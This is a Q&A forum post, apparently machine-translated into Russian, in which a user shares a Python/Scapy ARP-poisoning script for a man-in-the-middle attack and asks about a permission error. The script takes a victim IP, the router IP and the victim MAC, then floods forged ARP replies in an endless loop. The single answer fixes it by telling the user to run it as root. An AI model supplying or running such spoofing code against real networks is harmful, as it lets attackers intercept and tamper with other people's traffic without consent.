Ошибка Scapy при выполнении Человек в середине атаки - PullRequest
0 голосов
/ 11 февраля 2019

Я работаю над развитием Man в средней атаке, используя ARP poisioning.Но когда я пытаюсь запустить код, он выдает следующую ошибку:

Traceback (most recent call last):
  `enter code here`File "mmattack.py", line 21, in <module>
    send(arp)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 326, in sendp
  socket = conf.L2socket(iface=iface, *args, **kargs)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/arch/linux.py", line 445, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python2.7/socket.py", line 191, in __init__
    _sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Exception AttributeError: "'L2Socket' object has no attribute 'ins'" in <bound method L2Socket.__del__ of <scapy.arch.linux.L2Socket object at 0x7fe1fc606990>> ignored

У меня есть Python версии 2.7 и Scapy 2.4.2 работает

#!/usr/bin/env python

from scapy.all import *
from subprocess import call
import time

op=1 # Op code 1 for ARP requests
victim=raw_input('Enter the target IP to hack: ') #person IP to attack
victim=victim.replace(" ","")

spoof=raw_input('Enter the routers IP *SHOULD BE ON SAME ROUTER*: ')   #routers IP.. Should be the same one.
spoof=spoof.replace(" ","")

mac=raw_input('Enter the target MAC to hack: ') #mac of the victim
mac=mac.replace("-",":")
mac=mac.replace(" ","")

arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)

while 1:
   send(arp)
  #time.sleep(2)

1 Ответ

0 голосов
/ 12 февраля 2019

socket.error: [Errno 1] Операция не разрешена

Вам необходимо запустить программу Python / Scapy от имени пользователя root (sudo) для отправки необработанных пакетов ARP

...